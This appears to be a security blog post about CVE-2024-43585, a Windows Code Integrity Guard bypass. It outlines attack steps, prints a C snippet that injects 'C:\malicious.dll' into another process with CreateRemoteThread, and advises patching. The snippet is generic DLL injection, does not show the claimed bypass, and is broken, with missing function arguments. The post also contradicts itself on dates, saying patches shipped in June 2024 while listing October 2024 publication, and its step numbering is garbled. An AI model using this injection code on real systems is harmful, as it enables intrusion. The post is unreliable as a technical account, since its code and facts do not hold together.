When it comes to system security, the Code Integrity Guard (CIG) in Windows plays a crucial role in defending against unauthorized code execution. But in mid-2024, security researchers discovered a serious weakness—CVE-2024-43585—that could allow attackers to bypass this protection. In this post, we’ll explain what this vulnerability is, how it works, show some simple code related to the issue, and give you the information you need to understand and defend against it.

What is CVE-2024-43585?

CVE-2024-43585 is a security feature bypass vulnerability in Microsoft’s Code Integrity Guard. CIG is designed to prevent unsigned or malicious code from being injected into protected processes (like browsers or security-critical apps). This vulnerability allows an attacker to load unauthorized code into a CIG-protected process, effectively neutralizing CIG’s protection.

Microsoft’s Advisory:
- Microsoft Security Update Guide – CVE-2024-43585

How Does CVE-2024-43585 Work?

Normally, processes protected by CIG reject any DLL or code component that isn’t signed by Microsoft or another trusted authority. The vulnerability enables adversaries to bypass this check by exploiting a flaw in how Windows validates code integrity in certain conditions.

For example, an attacker with the ability to run code on the machine can craft a scenario where their malicious DLL appears to be trusted (or skips checks), injecting it into a browser like Edge which uses CIG.

Attacker gains code execution on a victim machine (low-privilege access is enough).

2. They identify a process with Code Integrity Guard enabled, such as a web browser tab or Windows Defender component.

Craft a malicious DLL with properties that can trick the system into loading it.

4. Use a custom injection technique (like a vulnerable signed component or specific loader API) to load the DLL, taking advantage of the logic flaw in code integrity checks.

Code Example: Injecting a DLL into a Protected Process

Below is a simplified C code snippet that demonstrates the concept. *This is for educational purposes only—do not attempt on any system you are not authorized to test!*

#include <windows.h>
#include <stdio.h>

// Replace with actual process ID or find dynamically
DWORD pid = 1234; 
LPCTSTR dllPath = "C:\\malicious.dll";

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
    printf("Cannot open process\n");
    return 1;
}

LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, strlen(dllPath)+1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)dllPath, strlen(dllPath)+1, NULL);

HANDLE hThread = CreateRemoteThread(hProcess, NULL, , 
    (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"), 
    pRemoteBuf, , NULL);

if (hThread == NULL) {
    printf("Thread creation failed!\n");
} else {
    printf("DLL injected!\n");
}

CloseHandle(hProcess);

*With CVE-2024-43585, the restriction that would normally block this “DLL injection” into a CIG-protected process could be bypassed through particular loader tricks or by abusing the flaw.*

- Use Cases: Real-world exploits could lead to data theft, remote spying, or complete takeover if chained with other bugs.

Is There a Fix?

Microsoft released patches in June 2024. It is crucial to apply the latest Windows security updates to ensure that your system isn’t vulnerable.

- Official MSRC Bulletin: CVE-2024-43585

More Reading and References

- Microsoft Security Update Guide – CVE-2024-43585
- Windows Security: Code Integrity Guard
- Deep Dive: Understanding DLL Injection Attacks

Final Words

CVE-2024-43585 is a stark reminder that even core security features can have unexpected weaknesses. Always stay up-to-date on patching, and keep an eye on official advisories to ensure you are not unnecessarily exposed!

Timeline

Published on: 10/08/2024 18:15:26 UTC
Last modified on: 10/12/2024 00:00:09 UTC